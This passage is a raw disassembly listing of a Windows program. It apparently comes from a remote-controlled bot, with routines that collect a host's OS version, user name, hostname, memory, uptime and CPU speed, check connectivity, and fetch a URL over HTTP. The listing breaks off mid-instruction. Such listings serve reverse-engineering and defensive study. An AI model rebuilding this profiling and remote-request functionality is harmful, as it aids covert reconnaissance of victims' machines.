--------------------------------------------------------------------------- loc_41AFBA: ; CODE XREF: sub_41AE7F+12Aj mov esi, eax loc_41AFBC: ; CODE XREF: sub_41AE7F+135j ; sub_41AE7F+139j push 6 call sub_41AC88 push [ebp+eax*4+var_1C] call sub_41ACA2 push 6 mov edi, eax call sub_41AC88 push [ebp+eax*4+var_1C] call sub_41ACA2 add esp, 10h test edi, edi jz short loc_41AFF4 test eax, eax jz short loc_41AFF0 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AFF6 ; --------------------------------------------------------------------------- loc_41AFF0: ; CODE XREF: sub_41AE7F+168j mov ecx, edi jmp short loc_41AFF6 ; --------------------------------------------------------------------------- loc_41AFF4: ; CODE XREF: sub_41AE7F+164j mov ecx, eax loc_41AFF6: ; CODE XREF: sub_41AE7F+16Fj ; sub_41AE7F+173j xor eax, eax test ebx, ebx jz short loc_41B003 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41B006 ; --------------------------------------------------------------------------- loc_41B003: ; CODE XREF: sub_41AE7F+17Bj push 2 pop edi loc_41B006: ; CODE XREF: sub_41AE7F+182j test esi, esi jz short loc_41B00E add eax, esi jmp short loc_41B00F ; --------------------------------------------------------------------------- loc_41B00E: ; CODE XREF: sub_41AE7F+189j dec edi loc_41B00F: ; CODE XREF: sub_41AE7F+18Dj test ecx, ecx jz short loc_41B017 add eax, ecx jmp short loc_41B018 ; --------------------------------------------------------------------------- loc_41B017: ; CODE XREF: sub_41AE7F+192j dec edi loc_41B018: ; CODE XREF: sub_41AE7F+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43CB18 push eax call sub_41C056 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 lea eax, [ebp+var_26C] push eax call sub_4157A5 add esp, 30h pop edi pop esi pop ebx leave retn sub_41AE7F endp ; =============== S U B R O U T I N E ======================================= sub_41B05C proc near ; CODE XREF: sub_401B66+2508p ; sub_401B66+298Cp ... arg_0 = dword ptr 4 push esi push edi call dword_4280A8 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" mov esi, offset dword_4DDFF8 push 32h push esi call sub_41C150 add esp, 18h mov eax, esi pop edi pop esi retn sub_41B05C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0AF proc near ; CODE XREF: sub_417474+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call dword_4280C8 ; GetVersionExA test eax, eax jz short loc_41B141 cmp [ebp+var_90], 4 jnz short loc_41B117 cmp [ebp+var_8C], esi jnz short loc_41B0FF cmp [ebp+var_84], 1 jnz short loc_41B0F1 inc esi loc_41B0F1: ; CODE XREF: sub_41B0AF+3Fj cmp [ebp+var_84], 2 jnz short loc_41B141 xor esi, esi inc esi jmp short loc_41B141 ; --------------------------------------------------------------------------- loc_41B0FF: ; CODE XREF: sub_41B0AF+36j cmp [ebp+var_8C], 0Ah jnz short loc_41B10C loc_41B108: ; CODE XREF: sub_41B0AF+77j push 2 jmp short loc_41B140 ; --------------------------------------------------------------------------- loc_41B10C: ; CODE XREF: sub_41B0AF+57j cmp [ebp+var_8C], 5Ah jnz short loc_41B141 jmp short loc_41B131 ; --------------------------------------------------------------------------- loc_41B117: ; CODE XREF: sub_41B0AF+2Ej cmp [ebp+var_90], 5 jnz short loc_41B141 cmp [ebp+var_8C], esi jz short loc_41B108 cmp [ebp+var_8C], 1 jnz short loc_41B135 loc_41B131: ; CODE XREF: sub_41B0AF+66j push 3 jmp short loc_41B140 ; --------------------------------------------------------------------------- loc_41B135: ; CODE XREF: sub_41B0AF+80j cmp [ebp+var_8C], 2 jnz short loc_41B141 push 7 loc_41B140: ; CODE XREF: sub_41B0AF+5Bj ; sub_41B0AF+84j pop esi loc_41B141: ; CODE XREF: sub_41B0AF+25j ; sub_41B0AF+49j ... mov eax, esi pop esi leave retn sub_41B0AF endp ; =============== S U B R O U T I N E ======================================= sub_41B146 proc near ; CODE XREF: sub_41B1FC+290p push ebx push esi push edi mov edi, 0F4240h loc_41B14E: ; CODE XREF: sub_41B146+2Fj ; sub_41B146+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call dword_428064 ; Sleep rdtsc sub eax, esi push 0 sbb edx, ebx push edi push edx push eax call sub_41DC10 mov esi, edx mov ebx, eax test esi, esi ja short loc_41B14E jb short loc_41B17D cmp ebx, edi ja short loc_41B14E loc_41B17D: ; CODE XREF: sub_41B146+31j push 0 push 64h push esi push ebx call sub_41DC80 mov ecx, edx push 64h xor edx, edx mov edi, eax test ecx, ecx pop eax ja short loc_41B1F0 jb short loc_41B19C cmp edi, 50h jnb short loc_41B1A1 loc_41B19C: ; CODE XREF: sub_41B146+4Fj push 4Bh xor edx, edx pop eax loc_41B1A1: ; CODE XREF: sub_41B146+54j test ecx, ecx ja short loc_41B1F0 jb short loc_41B1AC cmp edi, 47h jnb short loc_41B1B1 loc_41B1AC: ; CODE XREF: sub_41B146+5Fj push 42h xor edx, edx pop eax loc_41B1B1: ; CODE XREF: sub_41B146+64j test ecx, ecx ja short loc_41B1F0 jb short loc_41B1BC cmp edi, 37h jnb short loc_41B1C1 loc_41B1BC: ; CODE XREF: sub_41B146+6Fj push 32h xor edx, edx pop eax loc_41B1C1: ; CODE XREF: sub_41B146+74j test ecx, ecx ja short loc_41B1F0 jb short loc_41B1CC cmp edi, 26h jnb short loc_41B1D1 loc_41B1CC: ; CODE XREF: sub_41B146+7Fj push 21h xor edx, edx pop eax loc_41B1D1: ; CODE XREF: sub_41B146+84j test ecx, ecx ja short loc_41B1F0 jb short loc_41B1DC cmp edi, 1Eh jnb short loc_41B1E1 loc_41B1DC: ; CODE XREF: sub_41B146+8Fj push 19h xor edx, edx pop eax loc_41B1E1: ; CODE XREF: sub_41B146+94j test ecx, ecx ja short loc_41B1F0 jb short loc_41B1EC cmp edi, 0Ah jnb short loc_41B1F0 loc_41B1EC: ; CODE XREF: sub_41B146+9Fj xor eax, eax xor edx, edx loc_41B1F0: ; CODE XREF: sub_41B146+4Dj ; sub_41B146+5Dj ... sub eax, edi pop edi sbb edx, ecx add eax, ebx adc edx, esi pop esi pop ebx retn sub_41B146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B1FC proc near ; CODE XREF: sub_401B66+26DDp var_968 = byte ptr -968h var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 968h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43FE14 mov [ebp+var_CC], 94h call dword_4280C8 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B283 cmp [ebp+var_C4], ebx jnz short loc_41B25F cmp [ebp+var_BC], 1 jnz short loc_41B249 mov [ebp+var_4], offset a95 ; "95" loc_41B249: ; CODE XREF: sub_41B1FC+44j cmp [ebp+var_BC], 2 jnz loc_41B2FE mov [ebp+var_4], offset aNt_1 ; "NT" jmp short loc_41B2CF ; --------------------------------------------------------------------------- loc_41B25F: ; CODE XREF: sub_41B1FC+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B271 mov [ebp+var_4], offset a98 ; "98" jmp short loc_41B2C6 ; --------------------------------------------------------------------------- loc_41B271: ; CODE XREF: sub_41B1FC+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B2BF mov [ebp+var_4], offset aMe_0 ; "ME" jmp short loc_41B2C6 ; --------------------------------------------------------------------------- loc_41B283: ; CODE XREF: sub_41B1FC+33j cmp [ebp+var_C8], 5 jnz short loc_41B2BF cmp [ebp+var_C4], ebx jnz short loc_41B29D mov [ebp+var_4], offset a2k ; "2K" jmp short loc_41B2C6 ; --------------------------------------------------------------------------- loc_41B29D: ; CODE XREF: sub_41B1FC+96j cmp [ebp+var_C4], 1 jnz short loc_41B2AF mov [ebp+var_4], offset aXp_0 ; "XP" jmp short loc_41B2C6 ; --------------------------------------------------------------------------- loc_41B2AF: ; CODE XREF: sub_41B1FC+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B2C6 loc_41B2BF: ; CODE XREF: sub_41B1FC+7Cj ; sub_41B1FC+8Ej mov [ebp+var_4], offset a??? ; "???" loc_41B2C6: ; CODE XREF: sub_41B1FC+73j ; sub_41B1FC+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B2FE loc_41B2CF: ; CODE XREF: sub_41B1FC+61j cmp [ebp+var_B8], bl jz short loc_41B2FE lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_2 ; "%s (%s)" push eax call sub_41C056 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B2FE: ; CODE XREF: sub_41B1FC+54j ; sub_41B1FC+D1j ... mov ax, word_43A4F8 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CDB44 mov [ebp+var_8], 100h cmp eax, ebx jz short loc_41B337 lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_41B337: ; CODE XREF: sub_41B1FC+12Cj push [ebp+arg_4] call sub_40AB14 pop ecx push eax call dword_4CDCA4 ; inet_addr mov [ebp+var_C], eax push 2 lea eax, [ebp+var_C] push 4 push eax call dword_4CDC1C ; gethostbyaddr cmp eax, ebx jz short loc_41B360 push dword ptr [eax] jmp short loc_41B365 ; --------------------------------------------------------------------------- loc_41B360: ; CODE XREF: sub_41B1FC+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B365: ; CODE XREF: sub_41B1FC+162j lea eax, [ebp+var_3E4] push eax call sub_41C056 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_428078 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset dword_43CE0C push ebx mov esi, 409h push ebx push esi call dword_428108 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_428104 ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_428198 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C1A1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_968] push eax call sub_416F9A push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41B05C add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AB14 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416E8B pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416E8B pop ecx pop ecx push eax call sub_41B146 push edx push eax push offset dword_43CD30 push 200h push [ebp+arg_0] call sub_41C150 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41B1FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B4B0 proc near ; CODE XREF: sub_401B66+270Bp ; sub_401B66+7199p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BD60 add esp, 0Ch cmp dword_4CDD48, 0 jnz short loc_41B524 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CDB28 ; InternetGetConnectedStateExA test eax, eax jnz short loc_41B505 lea eax, [ebp+var_8C] push offset dword_43CE8C push eax call sub_41C056 pop ecx pop ecx loc_41B505: ; CODE XREF: sub_41B4B0+40j test [ebp+var_C], 1 lea eax, [ebp+var_8] jz short loc_41B51D push offset dword_43CE84 loc_41B513: ; CODE XREF: sub_41B4B0+72j push eax call sub_41C056 pop ecx pop ecx jmp short loc_41B543 ; --------------------------------------------------------------------------- loc_41B51D: ; CODE XREF: sub_41B4B0+5Cj push offset off_43CE80 jmp short loc_41B513 ; --------------------------------------------------------------------------- loc_41B524: ; CODE XREF: sub_41B4B0+28j mov esi, offset off_43CE7C lea eax, [ebp+var_8] push esi push eax call sub_41C056 lea eax, [ebp+var_8C] push esi push eax call sub_41C056 add esp, 10h loc_41B543: ; CODE XREF: sub_41B4B0+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40AB14 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43CE38 push 200h push [ebp+arg_0] call sub_41C150 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B4B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B576 proc near ; DATA XREF: sub_401B66+7604o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd xor esi, esi mov edi, 80h inc esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43CF6C call sub_41BD60 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BD60 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BD60 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BD60 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BD60 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CDB60 ; InternetCrackUrlA test eax, eax jz loc_41B716 cmp [ebp+var_34], ebx jbe short loc_41B64D push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BDC0 add esp, 0Ch loc_41B64D: ; CODE XREF: sub_41B576+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B66B push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BDC0 add esp, 0Ch loc_41B66B: ; CODE XREF: sub_41B576+DEj cmp [ebp+var_20], ebx jbe short loc_41B685 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BDC0 add esp, 0Ch loc_41B685: ; CODE XREF: sub_41B576+F8j cmp [ebp+var_18], ebx jbe short loc_41B69F push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BDC0 add esp, 0Ch loc_41B69F: ; CODE XREF: sub_41B576+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CDC14 call dword_4CDC38 ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_41B72C push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CDC2C ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B733 push ebx push ebx push ebx push ebx push eax call dword_4CDBD8 ; HttpSendRequestA test eax, eax lea eax, [ebp+var_55C] jz short loc_41B70F push offset dword_43CF50 jmp short loc_41B73E ; --------------------------------------------------------------------------- loc_41B70F: ; CODE XREF: sub_41B576+190j push offset unk_43CF14 jmp short loc_41B73E ; --------------------------------------------------------------------------- loc_41B716: ; CODE XREF: sub_41B576+B7j lea eax, [ebp+var_55C] push offset dword_43CEF8 push eax call sub_41C056 mov esi, [ebp+var_C] jmp short loc_41B744 ; --------------------------------------------------------------------------- loc_41B72C: ; CODE XREF: sub_41B576+153j push offset unk_43CECC jmp short loc_41B738 ; --------------------------------------------------------------------------- loc_41B733: ; CODE XREF: sub_41B576+17Bj push offset unk_43CE9C loc_41B738: ; CODE XREF: sub_41B576+1BBj lea eax, [ebp+var_55C] loc_41B73E: ; CODE XREF: sub_41B576+197j ; sub_41B576+19Ej push eax call sub_41C056 loc_41B744: ; CODE XREF: sub_41B576+1B4j cmp [ebp+var_1D4], ebx pop ecx pop ecx jnz short loc_41B771 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409982 add esp, 14h loc_41B771: ; CODE XREF: sub_41B576+1D6j lea eax, [ebp+var_55C] push eax call sub_4157A5 pop ecx push esi call dword_4CDC98 ; InternetCloseHandle push [ebp+var_4] call dword_4CDC98 ; InternetCloseHandle push [ebp+var_1D8] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread pop edi pop esi pop ebx sub_41B576 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41B7A4 proc near ; CODE XREF: sub_40E453+185p jmp dword_4281DC sub_41B7A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B7B0 proc near ; CODE XREF: sub_401000+38p ; sub_401252+14Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B7D0 loc_41B7BC: ; CODE XREF: sub_41B7B0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B803 test ecx, 3 jnz short loc_41B7BC add eax, 0 loc_41B7D0: ; CODE XREF: sub_41B7B0+Aj ; sub_41B7B0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B7D0 mov eax, [ecx-4] test al, al jz short loc_41B821 test ah, ah jz short loc_41B817 test eax, 0FF0000h jz short loc_41B80D test eax, 0FF000000h jz short loc_41B803 jmp short loc_41B7D0 ; --------------------------------------------------------------------------- loc_41B803: ; CODE XREF: sub_41B7B0+11j ; sub_41B7B0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B80D: ; CODE XREF: sub_41B7B0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B817: ; CODE XREF: sub_41B7B0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B821: ; CODE XREF: sub_41B7B0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B7B0 endp ; =============== S U B R O U T I N E ======================================= sub_41B82B proc near ; CODE XREF: sub_4010C2+62p ; sub_401B66+5808p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B840 or eax, 0FFFFFFFFh jmp short loc_41B87A ; --------------------------------------------------------------------------- loc_41B840: ; CODE XREF: sub_41B82B+Ej test al, 83h jz short loc_41B878 push esi call sub_41E38B push esi mov edi, eax call sub_41E325 push dword ptr [esi+10h] call sub_41E272 add esp, 0Ch test eax, eax jge short loc_41B866 or edi, 0FFFFFFFFh jmp short loc_41B878 ; --------------------------------------------------------------------------- loc_41B866: ; CODE XREF: sub_41B82B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B878 push eax call sub_41B881 and dword ptr [esi+1Ch], 0 pop ecx loc_41B878: ; CODE XREF: sub_41B82B+17j ; sub_41B82B+39j ... mov eax, edi loc_41B87A: ; CODE XREF: sub_41B82B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B82B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B881 proc near ; CODE XREF: sub_4010C2+5Cp ; sub_40AA3C+C3p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B8E7 mov eax, dword_4DF6C8 cmp eax, 3 jnz short loc_41B8AD push esi call sub_41E677 pop ecx test eax, eax push esi jz short loc_41B8D9 push eax call sub_41E6A2 pop ecx pop ecx jmp short loc_41B8E7 ; --------------------------------------------------------------------------- loc_41B8AD: ; CODE XREF: sub_41B881+14j cmp eax, 2 jnz short loc_41B8D8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41F3D2 add esp, 0Ch test eax, eax jz short loc_41B8D8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41F429 add esp, 0Ch jmp short loc_41B8E7 ; --------------------------------------------------------------------------- loc_41B8D8: ; CODE XREF: sub_41B881+2Fj ; sub_41B881+44j push esi loc_41B8D9: ; CODE XREF: sub_41B881+20j push 0 push dword_4DF6C4 call dword_428144 ; RtlFreeHeap loc_41B8E7: ; CODE XREF: sub_41B881+Aj ; sub_41B881+2Aj ... pop esi leave retn sub_41B881 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B8EA proc near ; CODE XREF: sub_4010C2+43p ; sub_40F8BC+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B90E xor eax, eax jmp loc_41B9B7 ; --------------------------------------------------------------------------- loc_41B90E: ; CODE XREF: sub_41B8EA+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B921 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B92D ; --------------------------------------------------------------------------- loc_41B921: ; CODE XREF: sub_41B8EA+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B92D ; --------------------------------------------------------------------------- loc_41B92A: ; CODE XREF: sub_41B8EA+C4j mov ecx, [ebp+arg_0] loc_41B92D: ; CODE XREF: sub_41B8EA+35j ; sub_41B8EA+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B95F mov eax, [esi+4] test eax, eax jz short loc_41B95F cmp ecx, eax mov edi, ecx jb short loc_41B944 mov edi, eax loc_41B944: ; CODE XREF: sub_41B8EA+56j push edi push dword ptr [esi] push ebx call near ptr sub_41CAE0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B9AA ; --------------------------------------------------------------------------- loc_41B95F: ; CODE XREF: sub_41B8EA+49j ; sub_41B8EA+50j cmp ecx, [ebp+arg_C] jb short loc_41B992 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B975 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B975: ; CODE XREF: sub_41B8EA+80j push eax push ebx push dword ptr [esi+10h] call sub_41F91C add esp, 0Ch test eax, eax jz short loc_41B9BC cmp eax, 0FFFFFFFFh jz short loc_41B9C2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B9AA ; --------------------------------------------------------------------------- loc_41B992: ; CODE XREF: sub_41B8EA+78j push esi call sub_41F843 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B9C6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B9AA: ; CODE XREF: sub_41B8EA+73j ; sub_41B8EA+A6j cmp [ebp+arg_0], 0 jnz loc_41B92A mov eax, [ebp+arg_8] loc_41B9B7: ; CODE XREF: sub_41B8EA+1Fj ; sub_41B8EA+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B9BC: ; CODE XREF: sub_41B8EA+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B9C6 ; --------------------------------------------------------------------------- loc_41B9C2: ; CODE XREF: sub_41B8EA+9Fj or dword ptr [esi+0Ch], 20h loc_41B9C6: ; CODE XREF: sub_41B8EA+B2j ; sub_41B8EA+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B9B7 sub_41B8EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D2 proc near ; CODE XREF: sub_4010C2+2Cp ; sub_41D7A3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B9ED push [ebp+arg_4] call sub_41BCA5 pop ecx jmp loc_41BC6D ; --------------------------------------------------------------------------- loc_41B9ED: ; CODE XREF: sub_41B9D2+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41BA02 push [ebp+arg_0] call sub_41B881 pop ecx jmp loc_41BC6B ; --------------------------------------------------------------------------- loc_41BA02: ; CODE XREF: sub_41B9D2+20j mov eax, dword_4DF6C8 cmp eax, 3 jnz loc_41BB12 loc_41BA10: ; CODE XREF: sub_41B9D2+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BAEE push [ebp+arg_0] call sub_41E677 mov ebx, eax pop ecx test ebx, ebx jz loc_41BAC9 cmp esi, dword_4DF6C0 ja short loc_41BA82 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41EE80 add esp, 0Ch test eax, eax jnz short loc_41BA7E push esi call sub_41E9CB mov edi, eax pop ecx test edi, edi jz short loc_41BA82 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BA62 mov eax, esi loc_41BA62: ; CODE XREF: sub_41B9D2+8Cj push eax push ebx push edi call near ptr sub_41CAE0 push ebx call sub_41E677 push [ebp+arg_0] mov ebx, eax push ebx call sub_41E6A2 add esp, 18h loc_41BA7E: ; CODE XREF: sub_41B9D2+74j test edi, edi jnz short loc_41BAC5 loc_41BA82: ; CODE XREF: sub_41B9D2+62j ; sub_41B9D2+81j test esi, esi jnz short loc_41BA89 push 1 pop esi loc_41BA89: ; CODE XREF: sub_41B9D2+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DF6C4 call dword_428148 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41BAC5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41BAB1 mov eax, esi loc_41BAB1: ; CODE XREF: sub_41B9D2+DBj push eax push ecx push edi call near ptr sub_41CAE0 push [ebp+arg_0] push ebx call sub_41E6A2 add esp, 14h loc_41BAC5: ; CODE XREF: sub_41B9D2+AEj ; sub_41B9D2+D0j test ebx, ebx jnz short loc_41BAEA loc_41BAC9: ; CODE XREF: sub_41B9D2+56j test esi, esi jnz short loc_41BAD0 push 1 pop esi loc_41BAD0: ; CODE XREF: sub_41B9D2+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DF6C4 call dword_42819C ; RtlReAllocateHeap mov edi, eax loc_41BAEA: ; CODE XREF: sub_41B9D2+F5j test edi, edi jnz short loc_41BB0B loc_41BAEE: ; CODE XREF: sub_41B9D2+43j cmp dword_4DE0B4, 0 jz short loc_41BB0B push esi call 